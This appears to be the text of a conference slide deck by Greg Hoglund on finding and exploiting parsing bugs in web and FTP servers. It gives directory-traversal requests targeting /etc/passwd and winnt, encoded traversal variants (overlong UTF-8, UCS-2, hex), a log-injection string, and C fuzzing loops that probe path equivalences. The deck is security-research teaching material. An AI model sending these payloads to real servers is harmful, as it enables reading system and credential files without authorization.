Exploiting Parsing Bugs

Greg Hoglund
Cenzic, Inc.
What is parsing?
State Machines

GET /..\..\..\..\..\etc\passwd

SYSTEM A

SYSTEM B
cl, byte notation
[eax], a pointer
inc eax, increment pointer

test cl, cl, looking for NULL

[eax+1], pointer + 1 byte

mov dl, [eax+1], moving a single byte
Classification

GET /servlets/target.jsp

SYSTEM A

SYSTEM B
Example

ftp> cd ..

ftp> cd ...

Tracing with Breakpoints
Filtering

GET ../../../etc/passwd

STOP
Called for
GET /subdirectory/../../../../etc/passwd
But not for
GET /../../../../etc/passwd

```
.global INTutil_uri_is_evil_internal

INTutil_uri_is_evil_internal:

    ldsb [%o0], %o1
    mov 1, %o3
    mov 2, %o4
    mov 0, %o2
    cmp %o1, 0x2F
```

Leapfrogging with Memory Breakpoints

- Intel x86 debug registers
Normalization

GET ../ ../ ../ ../ etc/passwd

GET /etc/passwd
Equivalence

GET ../|...///..|?..../etc/passwd

GET ../../../../../../etc/passwd

SAME RESULT STATE
Ghost Characters

/some/directory/test.txt

/////////////////some/////////////directory//////////////test.txt
API Call Auditing

for(unsigned long c=0x01010101; c != -1; c++)
{
    char _filepath[255];
sprintf(_filepath, "%c%c%c%c\test.txt", c >> 24, c >> 16, c >> 8, c&0x000000FF);
    try {
        FILE *in_file = fopen(_filepath, "r");
        if(in_file){
            printf("checking path %s\n", _filepath);
            puts("file opened!");
            getchar();
            fclose(in_file);
        }
    } catch(...){}
}

Avoid NULL
results

sprintf(_filepath, "../%c\..%c\..%c\..%c\scans2.txt", c, c, c, c);

.../../..//test.txt
............../..//test.txt
../?/..//test.txt
../???????????/..//test.txt
../..//test.txt
Character Conversion

http://target.server/some_directory/../../../../winnt

UTF-8    %E0%80%AF    /
UCS-2     %u005C     
CASE      get        GET
HEX       %2F%2E    /.  
Html      &lt &gt    < >
Back-slash to Forward-slash

Short loop finds 5Ch and replaces it with 2Fh – backslash with forward slash – a common trick with path normalization
char _c[24];
for( char g=1;g;g++ ){
    sprintf(_c,"/../%c\f",g);
    puts(_c);
    char *p = strchr(_c, 0x5C);
    if(!p){
        printf("missed on %d\n", g);
    }
}
Control Characters

`write("echo hey!\08\08");`
Log Files

/index.asp\%FF200\%FFHTTP/1.1\%0A00:52:11\%FF[ipaddress]\%FFGET\%FF/evilplaces
The Pit

- Debugger that tracks user input
- “Outside in” tracing
  - Automates an otherwise tedious process
- Single step so nothing is missed
  - Configurable depth
- Show user buffers over time
- Track using boron tags
The Pit (point in time) - (c) 2002 Greg Hoglund
Execution “fingerprints”

- cd to nonexistent directory
- cd with ../../..
cd to nonexistent directory

Similar behavior patterns

cd with ../../../
This pattern is typical of search loops.

The vertical length of the pattern is usually directly related to the length of the target string.
Thank You

Your mind is your weapon

Greg Hoglund
greg@cenzic.com
www.cenzic.com